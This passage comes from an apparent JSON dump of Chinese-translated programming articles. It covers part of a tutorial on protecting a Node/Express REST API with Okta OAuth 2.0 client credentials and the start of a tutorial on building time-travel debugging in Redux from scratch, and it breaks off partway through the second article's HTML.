\"Alphabet Soup\",\n    \"description\": \"Soup with letters and numbers in it\",\n    \"createdAt\": \"2018-08-16T02:22:09.446Z\",\n    \"updatedAt\": \"2018-08-16T02:22:09.446Z\"\n  }\n]\n```\n\n### 这发生了什么？\n\n如果你之前一直是按照我们的步骤来的，那么是可以跳过这部分的，因为这部分是我之前承诺过要给出的解释。\n\n`Sequelize` 函数创建了一个数据库。这是配置详细信息的地方，例如要使用 SQL 语句。现在，使用 SQLite 来快速启动和运行。\n\n```\nconst database = new Sequelize({\n  dialect: 'sqlite',\n  storage: './test.sqlite',\n  operatorsAliases: false\n})\n```\n\n一旦创建了数据库，你就可以为每个表使用 `database.define` 来定义它的表。用一些有用的字段创建叫做 `parts` 的表来进跟踪 parts。默认情况下，Sequelize 还会在创建和更新时自动创建和更新 `id`、`createdAt` 和 `updatedAt` 字段。\n\n```\nconst Part = database.define('parts', {\n  partNumber: Sequelize.STRING,\n  modelNumber: Sequelize.STRING,\n  name: Sequelize.STRING,\n  description: Sequelize.TEXT\n})\n```\n\n结语为了添加端点会请求获取你的 Express `app` 访问权限。但 `app` 被定义在另一个文件中。处理这个问题的一个方法就是导出一个函数，该函数接受应用程序并对其进行一些操作。当我们在另一个文件中导入这个脚本时，你可以像运行 `initializeDatabase(app)` 一样运行它。\n\n结语需要同时使用 `app` 和 `database` 来初始化。软化定义你需要使用的 REST 端点。`resource` 函数会包括 `GET`、`POST`、`PUT` 和 `DELETE` 动词的端点，这些动词大多数是自动化的。\n\n想真正创建数据库，你需要运行返回一个 promise 的 `database.sync()`。在你启动服务器之前，你需要等待它执行结束。\n\n`module.exports` 意思是 `initializeDatabase` 函数可以从另一个函数中导入。\n\n```\nconst initializeDatabase = async (app) => {\n  epilogue.initialize({ app, sequelize: database })\n\n  epilogue.resource({\n    model: Part,\n    endpoints: ['/parts', '/parts/:id']\n  })\n\n  await database.sync()\n}\n\nmodule.exports = initializeDatabase\n```\n\n## 用 OAuth 2.0 保护你的 Node + Express REST API\n\n现在你已经启动并运行了 REST API，想象你希望一个特定的应用程序从远程位置使用这个 API。如果你把它按照原样存放在互联网上，那么任何人都可以随意添加、修改或删除部位。\n\n为了避免这个情况，你可以使用 OAuth 2.0 客户端凭证。这是一种不需要上下文就可以让两个服务器相互通信的方式。这两个服务器必须事先同意使用第三方授权服务器。假设有两个服务器，A 和 B，以及一个接权服务器。服务器 A 托管 REST API，服务器 B 希望访问该 API。\n\n*   服务器 B 向授权服务器发送一个私钥来证明自己的身份，并申请一个临时令牌。\n*   服务器 B 会向往常一样使用 REST API，但会将令牌与请求一起发送。\n*   服务器 A 向授权服务器请求一些元数据，这些元数据可用于验证令牌。\n*   服务器 A 验证服务器 B 的请求。\n    *   如果它是有效的，一个成功的响应将被发送并且服务器 B 正常运行。\n    *   如果令牌无效，则将发送错误消息，并且不会泄露敏感信息。\n\n### 创建授权服务器\n\n这就是 OKta 发挥作用的地方。OKta 可以扮演允许你保护数据的服务器的角色。你可能会问自己“为什么是 OKta？”好的，对于构建 REST 应用程序来说，它非常的酷，但是构建一个**安全**的应用程序会更酷。为了实现这个目标，你需要添加身份验证，以便用户在查看/修改组之前必须要登录才可以。在 Okta 中，我们的目标是确保[身份管理](https://developer.okta.com/product/user-management/)比你过去使用的要更容易、更安全、更可扩展。Okta 是一种云服务，它允许开发者创建、编辑和安全存储用户账户以及用户账户数据，并将它们与一个或多个应用程序连接。我们的 API 允许你：\n\n*   [验证](https://developer.okta.com/product/authentication/)并[授权](https://developer.okta.com/product/authorization/)你的用户\n*   存储关于用户的数据\n*   允许基于密码和[社交的登录方式](https://developer.okta.com/authentication-guide/social-login/)\n*   使用[多个代理身份验证](https://developer.okta.com/use_cases/mfa/)来保护你的应用程序\n*   还有更多！查看我们的[产品文档](https://developer.okta.com/documentation/)\n\n如果你还没有账户，[可以注册一个永久免费的开发者账号](https://developer.okta.com/signup/)，让我们开始吧！\n\n创建账户后，登录到开发者控制台，导航到 **API**，然后导航到 **Authorization Servers** 选项卡。单击 `default` 服务器的链接。\n\n从这个 **Settings** 选项卡中，复制 `Issuer` 字段。你需要把它保存在你的 Node 应用程序可以阅读的地方。在你的项目中，创建一个名为 `.env` 的文件，如下所示：\n\n**.env**\n\n```\nISSUER=https://{yourOktaDomain}/oauth2/default\n```\n\n`ISSUER` 的值应该是设置页面的 `Issuer URI` 字段的值。\n\n![高亮 issuer URL。](https://developer.okta.com/assets/blog/rest-api-node/issuer-afa0da4b4f632196092a4da8f243f3bec37615602dc5b62e8e34546fd1018333.png)\n\n**注意**：一般规则是，你不应该将 `.env` 文件存储在源代码管理中。这允许多个项目同时使用相同的源代码，而不是需要单独的分支。它确保你的安全信息不会被公开（特备是如果你将代码作为开源发布时）。\n\n接下来，导航到 **Scopes** 菜单。单击 **Add Scope** 按钮，然后为 REST API 创建一个作用域。你需要起一个名称（例如，`parts_manager`），如果你愿意，还可以给它一个描述。\n\n![添加范围的截图](https://developer.okta.com/assets/blog/rest-api-node/adding-scope-f3ecb3b4eec06d616a130400245843c0de2dd52a54b2fdcff7449a10a2ce75ed.png)\n\n你还应该将作用域添加到你的 `.env` 文件中，以便你的代码可以访问到它。\n\n**.env**\n\n```\nISSUER=https://{yourOktaDomain}/oauth2/default\nSCOPE=parts_manager\n```\n\n你现在需要创建一个客户端。导航到 **Applications**，然后单击 **Add Application**。选择 **Service**，然后单击 **Next**。输入服务名（例如 `Parts Manager`）然后单击 **Done**。\n\n这将带你到具体的客户凭据的页面。这些是服务器 B（将消耗 REST API 的服务器）为了进行身份验证所需要的凭据。在本例中，客户端和服务器代码位于同一存储库中，因此继续将这些数据添加到你的 `.env` 文件中。请确保将 `{yourClientId}` 和 `{yourClientSecret}` 替换为此页面中的值。\n\n```\nCLIENT_ID={yourClientId}\nCLIENT_SECRET={yourClientSecret}\n```\n\n### 创建中间件来验证 Express 中的令牌\n\n在 Express 中，你可以添加将在每个端点之前运行的中间件。然后可以添加元数据，设置报头，记录一些信息，甚至可以提前取消请求并发送错误消息。在本例中，你需要创建一些中间件来验证客户端发送的令牌。如果令牌是有效的，它会被送达至 REST API 并返回适当的响应。如果令牌无效，它将使用错误消息进行响应，这样只有授权的机器才能访问。\n\n想要验证令牌，你尅使用 OKta 的中间件。你还需要一个叫做 [dotenv](https://github.com/motdotla/dotenv) 的工具来加载环境变量：\n\n```\nnpm install dotenv@6.0.0 @okta/jwt-verifier@0.0.12\n```\n\n现在创建一个叫做 `auth.js` 的文件，它可以导出中间件：\n\n**auth.js**\n\n```\nconst OktaJwtVerifier = require('@okta/jwt-verifier')\n\nconst oktaJwtVerifier = new OktaJwtVerifier({ issuer: process.env.ISSUER })\n\nmodule.exports = async (req, res, next) => {\n  try {\n    const { authorization } = req.headers\n    if (!authorization) throw new Error('You must send an Authorization header')\n\n    const [authType, token] = authorization.trim().split(' ')\n    if (authType !== 'Bearer') throw new Error('Expected a Bearer token')\n\n    const { claims } = await oktaJwtVerifier.verifyAccessToken(token)\n    if (!claims.scp.includes(process.env.SCOPE)) {\n      throw new Error('Could not verify the proper scope')\n    }\n    next()\n  } catch (error) {\n    next(error.message)\n  }\n}\n```\n\n函数首先会检查 `authorization` 报头是否在该请求中，然后抛出一个错误。如果存在，它应该类似于 `Bearer {token}`，其中 `{token}` 是一个 [JWT](https://www.jsonwebtoken.io/) 字符串。如果报头不是以 `Bearer` 开头，则会引发另一个错误。然后我们将令牌发送到 [Okta 的 JWT 验证器](https://github.com/okta/okta-oidc-js/tree/master/packages/jwt-verifier) 来验证令牌。如果令牌无效，JWT 验证器将抛出一个错误，否则，它将返回一个带有一些信息的对象。然后你可以验证要求是否包含你期望的范围。\n\n如果一切顺利，它就会以无参的形式调用 `next()` 函数，这将告诉 Express 可以转到链中的下一个函数（另一个中间件或最终端点）。如果将字符串传递给 `next` 函数，那么 Express 将其视为将被传回客户端的错误，并且不会在链中继续。\n\n你仍然需要导入这个函数并将其作为中间件添加到应用程序中。你还需要在索引文件的顶部加载 `dotenv`，以确保 `.env` 中的环境变量加载到你的应用程序中。对 `index.js` 作以下更改：\n\n**index.js**\n\n```\n@@ -1,11 +1,14 @@\n+require('dotenv').config()\n const express = require('express')\n const bodyParser = require('body-parser')\n const { promisify } = require('util')\n\n+const authMiddleware = require('./auth')\n const initializeDatabase = require('./database')\n\n const app = express()\n app.use(bodyParser.json())\n+app.use(authMiddleware)\n\n const startServer = async () => {\n   await initializeDatabase(app)\n```\n\n如果测试请求是否被正确阻止，请尝试再次运行...\n\n```\n$ npm test && node .\n```\n\n然后在另一个终端上运行一些 `curl` 命令来进行检测：\n\n1.  授权报头是否在请求之中\n\n```\n$ curl localhost:3000/parts\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>You must send an Authorization header</pre>\n</body>\n</html>\n```\n\n2.  在授权请求的报头中是否有 Bearer 令牌\n\n```\n$ curl localhost:3000/parts -H 'Authorization: Basic asdf:1234'\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Expected a Bearer token</pre>\n</body>\n</html>\n```\n\n3.  Bearer 令牌是否有效\n\n```\n$ curl localhost:3000/parts -H 'Authorization: Bearer asdf'\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Jwt cannot be parsed</pre>\n</body>\n</html>\n```\n\n### 在 Node 中创建一个测试客户端\n\n你现在已经禁止没有有效令牌的人访问应用程序，但如何获取令牌并使用它呢？我会向你演示如何在 Node 中编写一个简单的客户端，这也将帮助你测试一个有效令牌的工作。\n\n```\nnpm install btoa@1.2.1 request-promise@4.2.2\n```\n\n**client.js**\n\n```\nrequire('dotenv').config()\nconst request = require('request-promise')\nconst btoa = require('btoa')\n\nconst { ISSUER, CLIENT_ID, CLIENT_SECRET, SCOPE } = process.env\n\nconst [,, uri, method, body] = process.argv\nif (!uri) {\n  console.log('Usage: node client {url} [{method}] [{jsonData}]')\n  process.exit(1)\n}\n\nconst sendAPIRequest = async () => {\n  const token = btoa(`${CLIENT_ID}:${CLIENT_SECRET}`)\n  try {\n    const auth = await request({\n      uri: `${ISSUER}/v1/token`,\n      json: true,\n      method: 'POST',\n      headers: {\n        authorization: `Basic ${token}`\n      },\n      form: {\n        grant_type: 'client_credentials',\n        scope: SCOPE\n      }\n    })\n\n    const response = await request({\n      uri,\n      method,\n      body,\n      headers: {\n        authorization: `${auth.token_type} ${auth.access_token}`\n      }\n    })\n\n    console.log(response)\n  } catch (error) {\n    console.log(`Error: ${error.message}`)\n  }\n}\n\nsendAPIRequest()\n```\n\n这里，代码将 `.env` 中的变量加载到环境中，然后从 Node 中获取它们。节点将环境变量存储在 `process.env`（`process` 是一个具有大量有用变量和函数的全局变量）。\n\n```\nrequire('dotenv').config()\n// ...\nconst { ISSUER, CLIENT_ID, CLIENT_SECRET, SCOPE } = process.env\n// ...\n```\n\n接下来，由于这将从命令行运行，所以你可以再次使用 `process` 来获取与 `process.argv` 一起传入的参数。这将为你提供一个数组，其中包含传入的所有参数。前两个逗号前面没有任何变量名称，因为在本例中前两个不重要；他们只是通向 `node` 的路径，以及脚本的名称（`client` 或者 `client.js`）。\n\nURL 是必须的，它包括端点，但是方法和 JSON 数据是可选的。默认的方法是 `GET`，因此如果你只是获取数据，就可以忽略它。在这种情况下，你也不需要任何有效负载。如果参数看起来不正确，那么这将使用错误消息和退出代码 `1` 退出程序，这表示错误。\n\n```\nconst [,, uri, method, body] = process.argv\nif (!uri) {\n  console.log('Usage: node client {url} [{method}] [{jsonData}]')\n  process.exit(1)\n}\n```\n\nNode 当前不允许在主线程中使用 `await`，因此要使用更干净的 `async`/`await` 语法，你必须创建一个函数，然后调用它。\n\n如果在任何一个 `await` 函数中发生错误，那么屏幕上就会打印出 `try`/`catch`。\n\n```\nconst sendAPIRequest = async () => {\n  try {\n    // ...\n  } catch (error) {\n    console.error(`Error: ${error.message}`)\n  }\n}\n\nsendAPIRequest()\n```\n\n这是客户端向授权服务器发送令牌请求的地方。对于授权服务器本身的授权，你需要使用 Basic Auth。当你得到一个内置弹出要求用户名和密码时，基本认证是浏览器使用相同的行为。假设你的用户名是 `AzureDiamond` 并且你的密码是 `hunter2`。你的浏览器就会将它们用（`:`）连起来，然后 base64（这就是 `btoa` 函数的功能）对它们进行编码，来获取 `QXp1cmVEaWFtb25kOmh1bnRlcjI=`。然后它发送一个授权报头 `Basic QXp1cmVEaWFtb25kOmh1bnRlcjI=`。服务器可以用 base64 对令牌进行解码，以获取用户名和密码。\n\n基础授权本身并不安全，因为它很容易被破解，这就是为什么 `https` 对于中间人攻击很重要。在这里，客户端 ID 和客户端密钥分别是用户名和密码。这也是为什么必须保证 `CLIENT_ID` 和 `CLIENT_SECRET` 是私有的原因。\n\n对于 OAuth 2.0，你还需要制定授权类型，在本例中为 `client_credentials`，因为你计划在两台机器之间进行对话。你还要指定作用域。还有需要其他选项需要在这里进行添加，但这是我们这个示例所需要的所有选项。\n\n```\nconst token = btoa(`${CLIENT_ID}:${CLIENT_SECRET}`)\nconst auth = await request({\n  uri: `${ISSUER}/v1/token`,\n  json: true,\n  method: 'POST',\n  headers: {\n    authorization: `Basic ${token}`\n  },\n  form: {\n    grant_type: 'client_credentials',\n    scope: SCOPE\n  }\n})\n```\n\n一旦你通过验证，你就会得到一个访问令牌，你可以将其发送到 REST API，改令牌应该类似于 `Bearer eyJra...HboUg`（实际令牌要长的多 —— 可能在 800 个字符左右）。令牌包含 REST API 需要的所有信息，可以验证令牌的失效时间以及各种其他信息，像请求作用域、发出者和用于令牌的客户端 ID。\n\n来自 REST API 的响应就会打印在屏幕上。\n\n```\nconst response = await request({\n  uri,\n  method,\n  body,\n  headers: {\n    authorization: `${auth.token_type} ${auth.access_token}`\n  }\n})\n\nconsole.log(response)\n```\n\n现在就尝试一下。同样，用 `npm test && node .` 启动你的应用程序，然后尝试一些像下面的命令：\n\n```\n$ node client http://localhost:3000/parts | json\n[\n  {\n    \"id\": 1,\n    \"partNumber\": \"abc-123\",\n    \"modelNumber\": \"xyz-789\",\n    \"name\": \"Alphabet Soup\",\n    \"description\": \"Soup with letters and numbers in it\",\n    \"createdAt\": \"2018-08-16T02:22:09.446Z\",\n    \"updatedAt\": \"2018-08-16T02:22:09.446Z\"\n  }\n]\n\n$ node client http://localhost:3000/parts post '{\n  \"partNumber\": \"ban-bd\",\n  \"modelNumber\": 1,\n  \"name\": \"Banana Bread\",\n  \"description\": \"Bread made from bananas\"\n}' | json\n{\n  \"id\": 2,\n  \"partNumber\": \"ban-bd\",\n  \"modelNumber\": \"1\",\n  \"name\": \"Banana Bread\",\n  \"description\": \"Bread made from bananas\",\n  \"updatedAt\": \"2018-08-17T00:23:23.341Z\",\n  \"createdAt\": \"2018-08-17T00:23:23.341Z\"\n}\n\n$ node client http://localhost:3000/parts | json\n[\n  {\n    \"id\": 1,\n    \"partNumber\": \"abc-123\",\n    \"modelNumber\": \"xyz-789\",\n    \"name\": \"Alphabet Soup\",\n    \"description\": \"Soup with letters and numbers in it\",\n    \"createdAt\": \"2018-08-16T02:22:09.446Z\",\n    \"updatedAt\": \"2018-08-16T02:22:09.446Z\"\n  },\n  {\n    \"id\": 2,\n    \"partNumber\": \"ban-bd\",\n    \"modelNumber\": \"1\",\n    \"name\": \"Banana Bread\",\n    \"description\": \"Bread made from bananas\",\n    \"createdAt\": \"2018-08-17T00:23:23.341Z\",\n    \"updatedAt\": \"2018-08-17T00:23:23.341Z\"\n  }\n]\n\n$ node client http://localhost:3000/parts/1 delete | json\n{}\n\n$ node client http://localhost:3000/parts | json\n[\n  {\n    \"id\": 2,\n    \"partNumber\": \"ban-bd\",\n    \"modelNumber\": \"1\",\n    \"name\": \"Banana Bread\",\n    \"description\": \"Bread made from bananas\",\n    \"createdAt\": \"2018-08-17T00:23:23.341Z\",\n    \"updatedAt\": \"2018-08-17T00:23:23.341Z\"\n  }\n]\n```\n\n## 了解更多关于 Okta 的 Node 和 OAuth 2.0 客户端凭据的更多信息\n\n希望你已经看到了在 Node 中创建 REST API 并对未经授权的用户进行安全保护是多么容易的。现在，你已经有机会创建自己的示例项目了，请查看有关 Node、OAuth 2.0 和 Okta 的其他一些优秀资源。你还可以浏览 Okta 开发者博客，以获取其他优秀文章。\n\n*   [客户端证书流的实现](https://developer.okta.com/authentication-guide/implementing-authentication/client-creds)\n*   [验证访问令牌](https://developer.okta.com/authentication-guide/tokens/validating-access-tokens)\n*   [自定义授权服务器](https://developer.okta.com/authentication-guide/implementing-authentication/set-up-authz-server)\n*   [教程：用 Node.js 构建一个基本的 CRUD App](/blog/2018/06/28/tutorial-build-a-basic-crud-app-with-node)\n*   [使用 OAuth 2.0 客户端证书保护 Node API](/blog/2018/06/06/node-api-oauth-client-credentials)\n\n和以前一样，你可以在下面的评论中或在 Twitter [@oktadev](https://twitter.com/OktaDev) 给我们提供反馈或者提问，我们期待收到你的来信！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-time-travel-debugging-in-redux-from-scratch.md",
    "content": "> * 原文地址：[Build time travel debugging in Redux from scratch](https://levelup.gitconnected.com/build-time-travel-debugging-in-redux-from-scratch-665fea8fc6cc)\n> * 原文作者：[Trey Huffine](https://levelup.gitconnected.com/@treyhuffine?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-time-travel-debugging-in-redux-from-scratch.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-time-travel-debugging-in-redux-from-scratch.md)\n> * 译者：[老教授](https://juejin.im/user/58ff449a61ff4b00667a745c/posts)\n> * 校对者：[DM.Zhong](https://github.com/zhongdeming428)、[da](https://github.com/sunhaokk)\n\n# 从零开始，在 Redux 中构建时间旅行式调试\n\n![](https://cdn-images-1.medium.com/max/2000/1*WoJnfVeCnfT2cGzlsgAjJw.jpeg)\n\n在这篇教程中，我们将从零开始一步步构建时间旅行式调试。我们会先介绍 Redux 的核心特性，及这些特性怎么让时间旅行式调试这种强大功能成为可能。接着我们会用原生 JavaScript 来构建一个 Redux 核心库以及实现时间旅行式调试，并将它应用到一个简单的不含 React 的 HTML 应用里面去。\n\n![](https://cdn-images-1.medium.com/max/800/1*cRt1u7SCt376nCWu_Ae7mA.gif)\n\n### 使用 Redux 进行时间旅行的基础\n\n时间旅行式调试指的是让你的应用程序状态（state）向前走和向后退的能力，这就使得开发者可以确切地了解应用在其生命周期的每一点上发生了什么。\n\nRedux 是使用单向数据流的 flux 模式的一个拓展。Redux 在 flux 的思路体系上额外加入了 3 条准则。\n\n1.  **唯一的状态来源**。应用程序的全部状态都存储在一个 JavaScript 对象里面。\n2.  **状态是只读的**。这就是不可变的概念了。状态是永远不能被修改的，不过每一个动作（action）都会产生一个全新的状态对象，然后用它来替换掉旧的（状态对象）。\n3.  **由纯函数来产生修改**。这意味着任何时候生成一个新的状态，都不会产生其他的副作用。\n\nRedux 应用程序的状态是在一个线性的可预测的时间线上生成的，借助这个概念，时间旅行式调试进一步拓展，将触发的每一个动作（action）所产生的状态树都做了一个副本保存下来。\n\nUI 界面可以被当做是 Redux 状态的一个纯函数（译者注：纯函数意味着输入确定的 Redux 状态肯定产生确定的 UI 界面）。时间旅行允许我们给应用程序状态设置一个特定的值，从而在那些条件下产生一个准确的 UI 界面。这种应用程序的可视化和透明化的能力对开发者来说是极为有用的，可以帮他们透彻地理解应用程序里面发生了什么，并显著地减少调试程序耗费的精力。\n\n### 使用 Redux 和时间旅行式调试搭建一个简单的应用\n\n我们接下来会搭建一个简单的 HTML 应用，它会在每次点击的时候产生一个随机的背景颜色并使用 Redux 将颜色的 RGB 值存下来。我们还会建立一个时间旅行拓展，它可以帮我们回放应用程序的每一个状态，并让我们可视化地看到每一步的背景色变化。\n\n#### 搭建 Redux 核心库\n\n如果你对搭建时间旅行式调试感兴趣，那我将默认你已熟练掌握 Redux。如果你是 Redux 的新手或者需要对 store 和 reducer 这些概念重温一下，那建议在接下去的详细讲解前阅读下[这篇文章](https://levelup.gitconnected.com/learn-redux-by-building-redux-from-scratch-dcbcbd31b0d0?source=user_profile---------8----------------)。在这部分教程中，你将一步步搭建 `createStore` 和 reducer。\n\nRedux 核心库就是这个 `createStore` 函数。Redux 的 store 管理着状态对象（这个状态对象代表着应用的全局状态）并暴露出必要的接口供读取和更新状态。调用 `createStore` 会初始化状态并返回一个包含 `getState()`、`subscribe()` 和 `dispatch()` 等方法的对象。\n\n`createStore` 函数接受一个 reducer 函数作为必要参数，并接受一个 `initialState` 作为可选参数。整个 `createStore` 如下文所示（不可思议的简短，对吧？）：\n\n```js\nconst createStore = (reducer, initialState) => {\n  const store = {};\n  store.state = initialState;\n  store.listeners = [];\n  \n  store.getState = () => store.state;\n  \n  store.subscribe = (listener) => {\n    store.listeners.push(listener);\n  };\n  \n  store.dispatch = (action) => {\n    store.state = reducer(store.state, action);\n    store.listeners.forEach(listener => listener());\n  };\n  \n  return store;\n};\n```\n\n#### 实现时间旅行式调试\n\n我们将对 Redux 的 store 实现一个新的监听，并拓展 store 的能力，从而实现时间旅行功能。状态的每一次改变都将被添加到一个数组里，对于应用状态的每次改变都会给我们一个同步表现。为了清晰起见，我们将把这个状态的列表打印到 DOM 节点里面。\n\n首先，我们会对时间轴和历史中处于活动态的状态索引进行初始化（第1、2行）。我们还会创建一个 `savetimeline` 函数，它会将当前状态添加到时间轴数组，将状态打印到 DOM 节点上，并对程序用来渲染的指定状态树的索引进行递增。为了确保我们捕捉到每一次状态变化，我们将 `saveTimeline` 函数作为 Redux store 的一个监听者实施订阅。\n\n```js\nconst timeline = [];\nlet activeItem = 0;\n\nconst saveTimeline = () => {\n  timeline.push(store.getState());\n  timelineNode.innerHTML = timeline\n    .map(item => JSON.stringify(item))\n    .join('<br/>');\n  activeItem = timeline.length - 1;\n};\n\nstore.subscribe(saveTimeline);\n```\n\n接着我们在 store 中添加一个新的函数 —— `setState`。它允许我们向 Redux 的 store 中注入任何状态值。当我们要通过一个 DOM 上的按钮（下一节创建）在不同的状态间进行穿梭时，这个函数就会被调用。下面就是 store 里面这个 `setState` 函数的实现：\n\n```js\n// 仅供调试\nstore.setState = desiredState => {\n  store.state = desiredState;\n\n  // 假设调试器（译者注：上文的 saveTimeline ）是最后被注入（到 store.listeners ）的，\n  // 我们并不想在调试时更新 timeline 中已存储的状态，所以我们把它排除掉。\n  const applicationListeners = store.listeners.slice(0, -1);\n  applicationListeners.forEach(listener => listener());\n};\n```\n\n> 谨记，我们这么做仅为了方便学习。仅在此场景下你可以直接拓展 Redux 的 store 或直接设置状态。\n\n当我们在下一节建立好整个应用，我们也就同时把 DOM 节点给建立好了。现在，你只要知道将会有一个“向前走”和一个“向后走”的按钮来用来进行时间旅行。这两个按钮将更新状态时间轴的活动索引（从而改变用来展示的活动状态），允许我们在不同的状态变化间轻松地前进和后退。下面代码将告诉你怎么注册事件监听来穿梭时间轴：\n\n```js\nconst previous = document.getElementById('previous');\nconst next = document.getElementById('next');\n\nprevious.addEventListener('click', e => {\n  e.preventDefault();\n  e.stopPropagation();\n\n  let index = activeItem - 1;\n  index = index <= 0 ? 0 : index;\n  activeItem = index;\n\n  const desiredState = timeline[index];\n  store.setState(desiredState);\n});\n\nnext.addEventListener('click', e => {\n  e.preventDefault();\n  e.stopPropagation();\n\n  let index = activeItem + 1;\n  index = index >= timeline.length - 1 ? \n    timeline.length - 1 :   index;\n  activeItem = index;\n\n  const desiredState = timeline[index];\n  store.setState(desiredState);\n});\n```\n\n综合起来，可以得到下面的代码来创建时间旅行式调试。\n\n```js\nconst timeline = [];\nlet activeItem = 0;\n\nconst saveTimeline = () => {\n  timeline.push(store.getState());\n  timelineNode.innerHTML = timeline\n    .map(item => JSON.stringify(item))\n    .join('<br/>');\n  activeItem = timeline.length - 1;\n};\n\nstore.subscribe(saveTimeline);\n\n// 仅供调试\n// store 不应该像这样进行拓展。\nstore.setState = desiredState => {\n  store.state = desiredState;\n\n  // 假设调试器（译者注：上文的 saveTimeline ）是最后被注入（到 store.listeners ）的，\n  // 我们并不想在调试时更新 timeline 中已存储的状态，所以我们把它排除掉。\n  const applicationListeners = store.listeners.slice(0, -1);\n  applicationListeners.forEach(listener => listener());\n};\n\n// 这里假定通过这两个 ID 就可以拿到向前走、向后走两个按钮，用以控制时间旅行\nconst previous = document.getElementById('previous');\nconst next = document.getElementById('next');\n\nprevious.addEventListener('click', e => {\n  e.preventDefault();\n  e.stopPropagation();\n\n  let index = activeItem - 1;\n  index = index <= 0 ? 0 : index;\n  activeItem = index;\n\n  const desiredState = timeline[index];\n  store.setState(desiredState);\n});\n\nnext.addEventListener('click', e => {\n  e.preventDefault();\n  e.stopPropagation();\n\n  let index = activeItem + 1;\n  index = index >= timeline.length - 1 ? timeline.length - 1 : index;\n  activeItem = index;\n\n  const desiredState = timeline[index];\n  store.setState(desiredState);\n});\n```\n\n#### 搭建一个含时间旅行式调试的应用程序\n\n现在我们开始创建视觉上的效果来理解时间旅行式调试。我们在 document 的 body 上添加事件监听，事件触发时会创建三个 0-255 间的随机数，并分别作为 RGB 值存到 Redux 的 store 里面。将会有一个 store 的订阅函数来更新页面背景色并把当前 RGB 色值展现在屏幕上。另外，我们的时间旅行式调试会对状态变化进行订阅，把每个变化记录到时间轴里。\n\n我们以下面的代码来初始化 HTML 文档并开始我们的工作。\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title></title>\n  </head>\n  <body>\n    <div>My background color is <span id=\"background\"></span></div>\n    <div id=\"debugger\">\n      <div>\n        <button id=\"previous\">\n          previous\n        </button>\n        <button id=\"next\">\n          next\n        </button>\n      </div>\n      <div id=\"timeline\"></div>\n    </div>\n    <style>\n      html, body {\n        width: 100vw;\n        height: 100vh;\n      }\n\n    #debugger {\n        margin-top: 30px;\n      }\n    </style>\n    <script>\n      // 应用逻辑将会被添加到这里……\n    </script>\n  </body>\n</html>\n```\n\n注意我们还创建了一个 `<div>` 用于调试。里面有用于不同状态间穿梭的按钮，还有一个用来列举状态每一次变化的 DOM 节点。\n\n在 JavaScript 里，我们先引用 DOM 节点，引入 `createStore`。\n\n```js\nconst textNode = document.getElementById('background');\nconst timelineNode = document.getElementById('timeline');\n\nconst createStore = (reducer, initialState) => {\n  const store = {};\n  store.state = initialState;\n  store.listeners = [];\n\n  store.getState = () => store.state;\n\n  store.subscribe = listener => {\n    store.listeners.push(listener);\n  };\n\n  store.dispatch = action => {\n    console.log('> Action', action);\n    store.state = reducer(store.state, action);\n    store.listeners.forEach(listener => listener());\n  };\n\n  return store;\n};\n```\n\n接着，我们创建一个用于跟踪 RGB 色值变化的 reducer 并初始化 store。初始状态将是白色背景。\n\n```js\nconst getInitialState = () => {\n  return {\n    r: 255,\n    g: 255,\n    b: 255,\n  };\n};\n\nconst reducer = (state = getInitialState(), action) => {\n  switch (action.type) {\n    case 'SET_RGB':\n      return {\n        r: action.payload.r,\n        g: action.payload.g,\n        b: action.payload.b,\n      };\n    default:\n      return state;\n  }\n};\n\nconst store = createStore(reducer);\n```\n\n现在我们对 store 添加订阅函数，用于设置页面背景色并把文本形式的 RGB 色值添加到 DOM 节点上。这会让状态的每一个变化都可以在我们的 UI 界面上表现出来。\n\n```js\nconst setBackgroundColor = () => {\n  const state = store.getState();\n  const { r, g, b } = state;\n  const rgb = `rgb(${r}, ${g}, ${b})`;\n\n  document.body.style.backgroundColor = rgb;\n  textNode.innerHTML = rgb;\n};\n\nstore.subscribe(setBackgroundColor);\n```\n\n最后我们添加一个函数用于生成 0-255 间的随机数，并加上一个 `onClick` 的事件监听，事件触发时将新的 RGB 值派发（dispatch）到 store 里面。\n\n```js\nconst generateRandomColor = () => {\n  return Math.floor(Math.random() * 255);\n};\n\n// 一个简单的事件用于派发数据变化\ndocument.addEventListener('click', () => {\n  console.log('----- Previous state', store.getState());\n  store.dispatch({\n    type: 'SET_RGB',\n    payload: {\n      r: generateRandomColor(),\n      g: generateRandomColor(),\n      b: generateRandomColor(),\n    },\n  });\n  console.log('+++++ New state', store.getState());\n});\n```\n\n这就是我们所有的程序逻辑了。我们将上一节的时间旅行代码添加到后面，并在 script 标签的最后面调用 `store.dispatch({})` 来产生初始状态。\n\n![](https://cdn-images-1.medium.com/max/800/1*i3L6QvShxky5wkcloijdqA.gif)\n\n下面是应用程序的完整代码。\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title></title>\n  </head>\n  <body>\n    <div>My background color is <span 